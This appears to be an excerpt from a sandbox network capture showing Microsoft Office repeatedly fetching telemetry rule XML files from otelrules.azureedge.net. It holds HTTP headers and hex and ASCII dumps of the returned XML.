2024-11-20 03:08:17 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030817Z-r1d97b99577ndm4rhC1TEBf0ps000000089g00000000ka0p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	62486	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:17 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:17 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030817Z-185f5d8b95c95vpshC1NYC759c00000009m000000000nnhf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	62487	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:18 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:18 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030818Z-185f5d8b95c4hl5whC1NYCeex000000009fg00000000rfmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	62488	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:18 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030818Z-1777c6cb754mqztshC1TEB4mkc0000000940000000003hpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	62489	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:18 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:18 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030818Z-1777c6cb754lvj6mhC1TEBke9400000008yg00000000sp4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:18 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	62490	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:18 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:18 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:18 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030818Z-185f5d8b95c96jn4hC1NYCbgp800000009h000000000xhc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:18 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	62491	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:18 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030818Z-185f5d8b95c68cvnhC1NYCfn7s00000009p000000000d7ay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	62493	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:18 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-1777c6cb754ww792hC1TEBzqu400000008tg00000000hux4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	62492	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-185f5d8b95cqnkdjhC1NYCm8w800000009c000000000wzbm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	62494	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-185f5d8b95cdtclvhC1NYC4rmc00000009pg00000000wx5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	62495	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-185f5d8b95c4hl5whC1NYCeex000000009ng0000000031yf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	62496	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-r1d97b995774n5h6hC1TEBvf84000000088g000000008hb5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 